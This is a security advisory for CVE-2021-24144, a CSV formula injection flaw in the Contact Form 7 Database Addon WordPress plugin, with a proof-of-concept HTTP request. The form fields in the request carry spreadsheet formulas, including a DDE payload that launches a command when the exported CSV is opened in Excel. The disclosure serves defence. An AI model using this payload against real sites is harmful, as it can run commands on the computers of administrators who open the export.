Contact Form 7 Database Addon < 1.2.5.6 – CSV Injection | CVE 2021-24144

Description

The plugin was prone to a vulnerability that lets remote attackers inject arbitrary formulas into CSV files. Attackers can possibly exploit this issue to execute arbitrary commands on the victim's system, by the use of Microsoft Excel DDE function, or to leak data via maliciously injected hyperlinks. Version 1.2.5.4 is vulnerable; prior versions may also be affected.

Proof of Concept

POST /wp-json/contact-form-7/v1/contact-forms/219/feedback HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------127233189811167375871189751352
Content-Length: 1339
Origin: http://example.com
Connection: close

-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7"

219
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_version"

5.3.2
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f219-p1-o1
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_container_post"

1
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_posted_data_hash"


-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-name"

=SUM(1+2)
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-email"

erkgh@jfrif.com
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-subject"

=1+1
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-message"

;=2+5+cmd|' /C calc'!A1
-----------------------------127233189811167375871189751352--